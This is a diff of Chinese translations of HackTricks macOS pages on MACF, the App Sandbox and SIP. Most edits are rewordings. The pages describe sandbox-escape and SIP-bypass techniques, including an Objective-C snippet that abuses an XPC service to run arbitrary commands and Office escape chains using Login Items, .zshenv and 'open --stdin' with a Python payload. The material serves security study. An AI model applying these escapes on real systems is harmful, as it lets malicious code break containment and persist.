MACF 很快就会初始化。它在 XNU 的 `bootstrap_thread` 中设置:在 `ipc_bootstrap` 之后调用 `mac_policy_init()`,该函数初始化 `mac_policy_list`,随后调用 `mac_policy_initmach()`。除了其他功能外,该函数将获取所有在其 Info.plist 中具有 `AppleSecurityExtension` 键的 Apple kext,如 `ALF.kext`、`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext` 和 `TMSafetyNet.kext` 并加载它们。
|
||||
MACF 很快就会初始化。它在XNU的 `bootstrap_thread` 中设置:在 `ipc_bootstrap` 之后调用 `mac_policy_init()`,该函数初始化 `mac_policy_list`,随后调用 `mac_policy_initmach()`。除了其他功能外,该函数将获取所有在其 Info.plist 中具有 `AppleSecurityExtension` 键的Apple kext,如 `ALF.kext`、`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext` 和 `TMSafetyNet.kext` 并加载它们。
|
||||
|
||||
## MACF 回调
|
||||
|
||||
在代码中常常可以找到对 MACF 的回调定义,例如:**`#if CONFIG_MAC`** 条件块。此外,在这些块内可以找到对 `mac_proc_check*` 的调用,该调用会调用 MACF 来 **检查权限** 以执行某些操作。此外,MACF 回调的格式为:**`mac_<object>_<opType>_opName`**。
|
||||
在代码中常常可以找到对MACF的回调定义,例如:**`#if CONFIG_MAC`** 条件块。此外,在这些块内可以找到对 `mac_proc_check*` 的调用,该调用会调用MACF以 **检查权限** 以执行某些操作。此外,MACF回调的格式为:**`mac_<object>_<opType>_opName`**。
|
||||
|
||||
对象是以下之一:`bpfdesc`、`cred`、`file`、`proc`、`vnode`、`mount`、`devfs`、`ifnet`、`inpcb`、`mbuf`、`ipq`、`pipe`、`sysv[msg/msq/shm/sem]`、`posix[shm/sem]`、`socket`、`kext`。\
|
||||
`opType` 通常是 check,用于允许或拒绝该操作。然而,也可以找到 `notify`,这将允许 kext 对给定操作做出反应。
|
||||
`opType` 通常是 check,用于允许或拒绝该操作。然而,也可以找到 `notify`,这将允许kext对给定操作做出反应。
|
||||
|
||||
您可以在 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621) 中找到一个示例:
|
||||
|
||||
@ -157,18 +157,18 @@ error = mac_error_select(__step_err, error); \
|
||||
}); \
|
||||
} while (0)
|
||||
```
|
||||
将遍历所有注册的 mac 策略,调用它们的函数并将输出存储在 error 变量中,该变量只能通过成功代码的 `mac_error_select` 被覆盖,因此如果任何检查失败,整个检查将失败,操作将不被允许。
|
||||
将遍历所有注册的 mac 策略,调用它们的函数并将输出存储在 error 变量中,该变量仅可通过成功代码的 `mac_error_select` 进行覆盖,因此如果任何检查失败,整个检查将失败,操作将不被允许。
|
||||
|
||||
> [!TIP]
|
||||
> 然而,请记住,并非所有 MACF 调用仅用于拒绝操作。例如,`mac_priv_grant` 调用宏 [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274),如果任何策略返回 0,将授予请求的特权:
|
||||
> 然而,请记住,并非所有 MACF 调用仅用于拒绝操作。例如,`mac_priv_grant` 调用宏 [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274),如果任何策略返回 0,则将授予请求的特权:
|
||||
>
|
||||
> ```c
|
||||
> /*
|
||||
> * MAC_GRANT 执行指定的检查,通过遍历策略
|
||||
> * 模块列表并与每个模块检查其对请求的看法。
|
||||
> * 与 MAC_CHECK 不同,如果任何策略返回 '0',它将授予,
|
||||
> * 与 MAC_CHECK 不同,如果任何策略返回 '0',则授予,
|
||||
> * 否则返回 EPERM。请注意,它通过
|
||||
> * 调用者的 'error' 返回其值。
|
||||
> * 调用者的作用域中的 'error' 返回其值。
|
||||
> */
|
||||
> #define MAC_GRANT(check, args...) do { \
|
||||
> error = EPERM; \
|
||||
@ -188,11 +188,11 @@ error = mac_error_select(__step_err, error); \
|
||||
### priv_check & priv_grant
|
||||
|
||||
这些调用旨在检查和提供在 [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h) 中定义的(数十个)**特权**。\
|
||||
一些内核代码会使用进程的 KAuth 凭据调用 `priv_check_cred()`,并使用特权代码之一,这将调用 `mac_priv_check` 来查看是否有任何策略 **拒绝** 授予特权,然后调用 `mac_priv_grant` 来查看是否有任何策略授予该 `privilege`。
|
||||
一些内核代码会使用进程的 KAuth 凭据调用 `priv_check_cred()`,并使用特权代码之一,这将调用 `mac_priv_check` 以查看任何策略是否**拒绝**授予特权,然后调用 `mac_priv_grant` 以查看任何策略是否授予该 `privilege`。
|
||||
|
||||
### proc_check_syscall_unix
|
||||
|
||||
此钩子允许拦截所有系统调用。在 `bsd/dev/[i386|arm]/systemcalls.c` 中,可以看到声明的函数 [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25),其中包含以下代码:
|
||||
此钩子允许拦截所有系统调用。在 `bsd/dev/[i386|arm]/systemcalls.c` 中,可以看到声明的函数 [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25),其中包含此代码:
|
||||
```c
|
||||
#if CONFIG_MACF
|
||||
if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
|
||||
@ -205,7 +205,7 @@ goto skip_syscall;
|
||||
```
|
||||
将检查调用进程的 **bitmask** 是否当前系统调用应该调用 `mac_proc_check_syscall_unix`。这是因为系统调用被调用的频率很高,因此避免每次都调用 `mac_proc_check_syscall_unix` 是很有意义的。
|
||||
|
||||
请注意,函数 `proc_set_syscall_filter_mask()`,它在进程中设置 bitmask 系统调用,是由 Sandbox 调用以在沙箱进程上设置掩码。
|
||||
请注意,函数 `proc_set_syscall_filter_mask()`,它在进程中设置 bitmask 系统调用,是由 Sandbox 调用以在沙箱进程上设置掩码的。
|
||||
|
||||
## 暴露的 MACF 系统调用
|
||||
|
||||
|
||||
@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
> 请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**具有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
|
||||
**`SandboxProfileData`**是编译后的沙盒配置文件CFData,已转义为B64。
|
||||
**`SandboxProfileData`**是编译后的沙箱配置文件CFData,已转义为B64。
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
@ -205,7 +205,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||
绕过示例:
|
||||
|
||||
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (他们能够写入以 `~$` 开头的沙箱外部文件)。
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够写入以 `~$` 开头的沙箱外部文件)。
|
||||
|
||||
### 沙箱跟踪
|
||||
|
||||
@ -227,7 +227,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
#### 通过 API
|
||||
|
||||
`libsystem_sandbox.dylib` 导出的函数 `sandbox_set_trace_path` 允许指定一个跟踪文件名,沙箱检查将写入该文件。\
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 来执行类似的操作,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 做类似的事情,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
|
||||
### 沙箱检查
|
||||
|
||||
@ -237,13 +237,13 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
|
||||
MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
|
||||
如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,则系统将该配置文件 **/System/Library/Sandbox/Profiles/application.sb** 应用到该进程。
|
||||
如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,则系统将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用于该进程。
|
||||
|
||||
在 iOS 中,默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱表示为每个权限的允许/拒绝二叉树。
|
||||
在 iOS 中,默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱被表示为每个权限的允许/拒绝二叉树。
|
||||
|
||||
### App Store 应用中的自定义 SBPL
|
||||
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到 Apple 的授权。
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到苹果的授权。
|
||||
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查该权限的定义。
|
||||
```scheme
|
||||
@ -261,7 +261,7 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
||||
|
||||
这个反向和[**开源版本的工具 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) 允许 **`sandbox-exec`** 将编译的沙箱配置文件写入文件。
|
||||
|
||||
此外,为了将进程限制在容器内,它可能会调用 `sandbox_spawnattrs_set[container/profilename]` 并传递一个容器或预先存在的配置文件。
|
||||
此外,为了将进程限制在容器内,它可能会调用 `sandbox_spawnattrs_set[container/profilename]` 并传递一个容器或现有配置文件。
|
||||
|
||||
## 调试和绕过沙箱
|
||||
|
||||
@ -294,7 +294,7 @@ macos-sandbox-debug-and-bypass/
|
||||
|
||||
### **检查 PID 权限**
|
||||
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s),**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**在特定 PID、审计令牌或唯一 ID 下某个操作是否被沙箱允许**。
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s),**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**某个 PID、审计令牌或唯一 ID 是否允许某个操作**。
|
||||
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c)(在[这里编译](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
|
||||
```bash
|
||||
@ -317,7 +317,7 @@ sbtool <pid> all
|
||||
|
||||
此系统调用 (#381) 期望第一个参数为一个字符串,指示要运行的模块,然后第二个参数为一个代码,指示要运行的函数。第三个参数将取决于执行的函数。
|
||||
|
||||
函数 `___sandbox_ms` 调用封装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的封装一样。然后,`___sandbox_ms` 支持的一些代码可以在此表中找到:
|
||||
函数 `___sandbox_ms` 调用封装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的封装一样。然后,`___sandbox_ms` 支持的一些代码可以在下表中找到:
|
||||
|
||||
- **set_profile (#0)**: 将编译或命名的配置文件应用于进程。
|
||||
- **platform_policy (#1)**: 强制执行特定于平台的策略检查(在 macOS 和 iOS 之间有所不同)。
|
||||
@ -353,7 +353,7 @@ sbtool <pid> all
|
||||
请注意,在 iOS 中,内核扩展包含 **硬编码的所有配置文件**,以避免被修改。以下是内核扩展中的一些有趣函数:
|
||||
|
||||
- **`hook_policy_init`**: 它挂钩 `mpo_policy_init`,并在 `mac_policy_register` 之后被调用。它执行沙箱的大部分初始化。它还初始化 SIP。
|
||||
- **`hook_policy_initbsd`**: 它设置 sysctl 接口,注册 `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active` 和 `security.mac.sandbox.debug_mode`(如果以 `PE_i_can_has_debugger` 启动)。
|
||||
- **`hook_policy_initbsd`**: 它设置 sysctl 接口,注册 `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active` 和 `security.mac.sandbox.debug_mode`(如果与 `PE_i_can_has_debugger` 一起引导)。
|
||||
- **`hook_policy_syscall`**: 它由 `mac_syscall` 调用,第一个参数为 "Sandbox",第二个参数为指示操作的代码。使用 switch 来根据请求的代码查找要运行的代码。
|
||||
|
||||
### MACF Hooks
|
||||
@ -368,11 +368,11 @@ sbtool <pid> all
|
||||
- `mpo_vnode_check_exec`: 当进程加载相关二进制文件时调用,然后执行配置文件检查,并检查禁止 SUID/SGID 执行。
|
||||
- `mpo_cred_label_update_execve`: 当分配标签时调用。这是最长的一个,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
|
||||
|
||||
请注意,**`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
请注意 **`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
|
||||
## Sandboxd
|
||||
|
||||
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd`,并绑定特殊端口 14 (`HOST_SEATBELT_PORT`),内核扩展使用该端口与其通信。它通过 MIG 暴露了一些函数。
|
||||
沙箱还有一个用户守护进程,暴露了 XPC Mach 服务 `com.apple.sandboxd` 并绑定特殊端口 14 (`HOST_SEATBELT_PORT`),内核扩展使用该端口与其通信。它通过 MIG 暴露了一些函数。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
编译器将链接 `/usr/lib/libSystem.B.dylib` 到二进制文件。
|
||||
|
||||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查该进程是否应该在沙箱内进行隔离,如果是,它将被隔离。\
|
||||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查该进程是否应该在沙箱内被隔离,如果是,它将被隔离。\
|
||||
最后,沙箱将通过调用 **`__sandbox_ms`** 激活,该调用将调用 **`__mac_syscall`**。
|
||||
|
||||
## Possible Bypasses
|
||||
@ -36,7 +36,7 @@ macos-office-sandbox-bypasses.md
|
||||
|
||||
### Launch Agents/Daemons
|
||||
|
||||
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也有可能绕过沙箱。\
|
||||
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也可以绕过沙箱。\
|
||||
正如在 [**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) 中所解释的,如果你想要在一个沙箱应用程序中获得持久性,你可以使其作为 LaunchAgent 自动执行,并可能通过 DyLib 环境变量注入恶意代码。
|
||||
|
||||
### Abusing Auto Start Locations
|
||||
@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md
|
||||
|
||||
### Abusing other processes
|
||||
|
||||
如果从沙箱进程中你能够 **妥协其他在较少限制沙箱中运行的进程**(或没有沙箱),你将能够逃离它们的沙箱:
|
||||
如果从沙箱进程中你能够 **妥协其他在较少限制沙箱(或没有沙箱)中运行的进程**,你将能够逃离它们的沙箱:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
@ -90,24 +90,24 @@ checkService(serviceName.UTF8String);
|
||||
```
|
||||
### 可用的 PID Mach 服务
|
||||
|
||||
这些 Mach 服务最初被滥用以 [在这篇文章中逃离沙箱](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**在应用程序的 PID 域中都是可见的(这些是 `ServiceType` 为 `Application` 的 Mach 服务)。
|
||||
这些 Mach 服务最初被滥用以 [在这篇文章中逃离沙盒](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**在应用程序的 PID 域中都是可见的(这些是 `ServiceType` 为 `Application` 的 Mach 服务)。
|
||||
|
||||
为了 **联系 PID 域 XPC 服务**,只需在应用程序中注册它,使用如下代码:
|
||||
为了 **联系一个 PID 域 XPC 服务**,只需在应用程序中注册它,使用如下代码:
|
||||
```objectivec
|
||||
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
|
||||
```
|
||||
此外,可以通过在 `System/Library/xpc/launchd.plist` 中搜索 `<string>Application</string>` 来找到所有的 **Application** Mach 服务。
|
||||
|
||||
找到有效的 xpc 服务的另一种方法是检查以下内容:
|
||||
找到有效的 xpc 服务的另一种方法是检查以下服务:
|
||||
```bash
|
||||
find /System/Library/Frameworks -name "*.xpc"
|
||||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||||
```
|
||||
几个滥用此技术的示例可以在[**原始报告**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)中找到,以下是一些总结的示例。
|
||||
几个滥用此技术的示例可以在 [**原始报告**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) 中找到,然而,以下是一些总结的示例。
|
||||
|
||||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||||
|
||||
此服务通过始终返回`YES`来允许每个XPC连接,方法`runTask:arguments:withReply:`执行任意命令和任意参数。
|
||||
此服务通过始终返回 `YES` 来允许每个 XPC 连接,方法 `runTask:arguments:withReply:` 执行任意命令和任意参数。
|
||||
|
||||
该漏洞的利用“简单到”:
|
||||
```objectivec
|
||||
@ -134,7 +134,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
|
||||
因此,可以生成一个虚假的应用程序文件夹结构,压缩它,然后解压并执行,以逃离沙盒,因为新文件将没有隔离属性。
|
||||
|
||||
该漏洞是:
|
||||
利用的漏洞是:
|
||||
```objectivec
|
||||
@protocol AudioAnalyticsHelperServiceProtocol
|
||||
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
@ -219,7 +219,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
||||
```
|
||||
### 不继承的限制
|
||||
|
||||
正如**[这篇文章的附加内容](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**中所解释的,沙箱限制如:
|
||||
正如在 **[这篇文章的附加内容](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** 中所解释的,沙箱限制如:
|
||||
```
|
||||
(version 1)
|
||||
(allow default)
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
发现从沙箱内可以创建一个 **Login Item**(用户登录时将执行的应用程序)。然而,这些应用程序 **不会执行,除非** 它们 **经过公证**,并且 **无法添加参数**(因此不能仅使用 **`bash`** 运行反向 shell)。
|
||||
|
||||
在之前的沙箱绕过中,Microsoft 禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果将 **zip 文件作为 Login Item**,`Archive Utility` 将会在其当前位置 **解压** 它。因此,由于默认情况下 `~/Library` 中的 `LaunchAgents` 文件夹未创建,可以 **将 plist 压缩到 `LaunchAgents/~$escape.plist`** 并 **放置** zip 文件在 **`~/Library`** 中,这样在解压时将到达持久性目标。
|
||||
在之前的沙箱绕过中,Microsoft 禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果将 **zip 文件作为 Login Item**,`Archive Utility` 将会在其当前位置 **解压** 它。因此,由于默认情况下 `~/Library` 中的 `LaunchAgents` 文件夹未创建,可以 **将一个 plist 压缩到 `LaunchAgents/~$escape.plist`** 并 **放置** zip 文件在 **`~/Library`** 中,这样在解压时将到达持久性目标。
|
||||
|
||||
查看 [**原始报告在这里**](https://objective-see.org/blog/blog_0x4B.html)。
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
|
||||
(请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件)。
|
||||
|
||||
然而,之前的技术有一个限制,如果文件夹 **`~/Library/LaunchAgents`** 存在,因为其他软件创建了它,则会失败。因此,发现了一个不同的 Login Items 链。
|
||||
然而,之前的技术有一个限制,如果 **`~/Library/LaunchAgents`** 文件夹存在,因为其他软件创建了它,则会失败。因此,发现了一个不同的 Login Items 链。
|
||||
|
||||
攻击者可以创建 **`.bash_profile`** 和 **`.zshenv`** 文件,包含要执行的有效载荷,然后将它们压缩并 **写入受害者** 的用户文件夹:**`~/~$escape.zip`**。
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
|
||||
从沙箱进程中,仍然可以使用 **`open`** 工具调用其他进程。此外,这些进程将在 **它们自己的沙箱内** 运行。
|
||||
|
||||
发现 open 工具有 **`--env`** 选项,可以使用 **特定的 env** 变量运行应用程序。因此,可以在 **沙箱内** 的文件夹中创建 **`.zshenv` 文件**,并使用 `open` 和 `--env` 将 **`HOME` 变量** 设置为该文件夹,打开 `Terminal` 应用程序,这将执行 `.zshenv` 文件(出于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。
|
||||
发现 open 工具具有 **`--env`** 选项,可以使用 **特定的 env** 变量运行应用程序。因此,可以在 **沙箱内** 的文件夹中创建 **`.zshenv` 文件**,并使用 `open` 和 `--env` 将 **`HOME` 变量** 设置为该文件夹,打开该 `Terminal` 应用程序,这将执行 `.zshenv` 文件(出于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。
|
||||
|
||||
查看 [**原始报告在这里**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
|
||||
|
||||
@ -44,9 +44,9 @@
|
||||
|
||||
**`open`** 工具还支持 **`--stdin`** 参数(在之前的绕过后,无法再使用 `--env`)。
|
||||
|
||||
问题是,即使 **`python`** 是由 Apple 签名的,它 **不会执行** 带有 **`quarantine`** 属性的脚本。然而,可以通过 stdin 传递一个脚本,这样它就不会检查是否被隔离:
|
||||
问题是,即使 **`python`** 是由 Apple 签名的,它也 **不会执行** 带有 **`quarantine`** 属性的脚本。然而,可以从 stdin 传递一个脚本,这样它就不会检查是否被隔离:
|
||||
|
||||
1. 放置一个 **`~$exploit.py`** 文件,包含任意 Python 命令。
|
||||
2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为标准输入运行 Python 应用程序。Python 高兴地运行我们的代码,并且由于它是 _launchd_ 的子进程,因此不受 Word 沙箱规则的限制。
|
||||
2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为其标准输入运行 Python 应用程序。Python 高兴地运行我们的代码,并且由于它是 _launchd_ 的子进程,因此不受 Word 沙箱规则的限制。
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**系统完整性保护 (SIP)** 在 macOS 中是一种机制,旨在防止即使是最特权的用户也对关键系统文件夹进行未经授权的更改。此功能在通过限制在受保护区域内添加、修改或删除文件等操作来维护系统的完整性方面发挥着至关重要的作用。SIP 保护的主要文件夹包括:
|
||||
**系统完整性保护 (SIP)** 在 macOS 中是一种机制,旨在防止即使是最特权的用户也对关键系统文件夹进行未经授权的更改。此功能在维护系统完整性方面发挥着至关重要的作用,通过限制在受保护区域内添加、修改或删除文件等操作。SIP 保护的主要文件夹包括:
|
||||
|
||||
- **/System**
|
||||
- **/bin**
|
||||
@ -13,14 +13,14 @@
|
||||
|
||||
管理 SIP 行为的规则定义在位于 **`/System/Library/Sandbox/rootless.conf`** 的配置文件中。在此文件中,以星号 (\*) 开头的路径被视为对其他严格 SIP 限制的例外。
|
||||
|
||||
考虑下面的示例:
|
||||
考虑以下示例:
|
||||
```javascript
|
||||
/usr
|
||||
* /usr/libexec/cups
|
||||
* /usr/local
|
||||
* /usr/share/man
|
||||
```
|
||||
这个片段暗示,虽然 SIP 通常保护 **`/usr`** 目录,但有特定的子目录(`/usr/libexec/cups`、`/usr/local` 和 `/usr/share/man`)可以进行修改,如路径前的星号(*)所示。
|
||||
这个片段暗示,虽然 SIP 通常保护 **`/usr`** 目录,但有一些特定的子目录(`/usr/libexec/cups`、`/usr/local` 和 `/usr/share/man`)是允许修改的,如其路径前的星号(\*)所示。
|
||||
|
||||
要验证某个目录或文件是否受到 SIP 保护,可以使用 **`ls -lOd`** 命令检查是否存在 **`restricted`** 或 **`sunlnk`** 标志。例如:
|
||||
```bash
|
||||
@ -36,7 +36,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
```
|
||||
这里,**`restricted`** 标志表示 `/usr/libexec` 目录受到 SIP 保护。在 SIP 保护的目录中,无法创建、修改或删除文件。
|
||||
|
||||
此外,如果一个文件包含 **`com.apple.rootless`** 扩展 **属性**,该文件也将受到 **SIP 保护**。
|
||||
此外,如果一个文件包含属性 **`com.apple.rootless`** 扩展 **属性**,该文件也将 **受到 SIP 保护**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,**Sandbox** 钩子 **`hook_vnode_check_setextattr`** 阻止任何尝试修改扩展属性 **`com.apple.rootless`** 的行为。
|
||||
@ -48,7 +48,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
- 修改 NVRAM 变量
|
||||
- 允许内核调试
|
||||
|
||||
选项以位标志的形式保存在 nvram 变量中(在 Intel 上为 `csr-active-config`,在 ARM 上从启动的设备树读取 `lp-sip0`)。您可以在 `csr.sh` 中找到这些标志:
|
||||
选项以位标志的形式保存在 nvram 变量中(在 Intel 上为 `csr-active-config`,在 ARM 上从启动的设备树中读取 `lp-sip0`)。您可以在 `csr.sh` 中找到这些标志:
|
||||
|
||||
<figure><img src="../../../images/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -94,7 +94,7 @@ csrutil enable --without debug
|
||||
|
||||
- **访问用户数据**:读取所有用户帐户的敏感用户数据,如邮件、消息和 Safari 历史记录。
|
||||
- **TCC 绕过**:直接操纵 TCC(透明性、同意和控制)数据库,以授予对网络摄像头、麦克风和其他资源的未经授权访问。
|
||||
- **建立持久性**:在 SIP 保护的位置放置恶意软件,使其即使在 root 权限下也难以删除。这还包括篡改恶意软件删除工具(MRT)的潜在能力。
|
||||
- **建立持久性**:在 SIP 保护的位置放置恶意软件,使其即使在 root 权限下也难以删除。这还包括篡改恶意软件删除工具(MRT)的潜力。
|
||||
- **加载内核扩展**:尽管有额外的保护,绕过 SIP 简化了加载未签名内核扩展的过程。
|
||||
|
||||
### 安装包
|
||||
@ -103,7 +103,7 @@ csrutil enable --without debug
|
||||
|
||||
### 不存在的 SIP 文件
|
||||
|
||||
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建该文件。恶意软件可以利用这一点在系统上 **建立持久性**。例如,如果恶意程序在 `rootless.conf` 中列出但不存在,它可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件。
|
||||
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建它。恶意软件可以利用这一点在系统上 **建立持久性**。例如,如果恶意程序在 `rootless.conf` 中列出但不存在,它可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件。
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
@ -112,11 +112,11 @@ csrutil enable --without debug
|
||||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
||||
发现可以在 **系统验证其代码** 签名后 **交换安装包**,然后系统将安装恶意包而不是原始包。由于这些操作是由 **`system_installd`** 执行的,因此可以绕过 SIP。
|
||||
发现可以在系统验证其代码签名后 **交换安装包**,然后系统将安装恶意包而不是原始包。由于这些操作是由 **`system_installd`** 执行的,因此可以绕过 SIP。
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
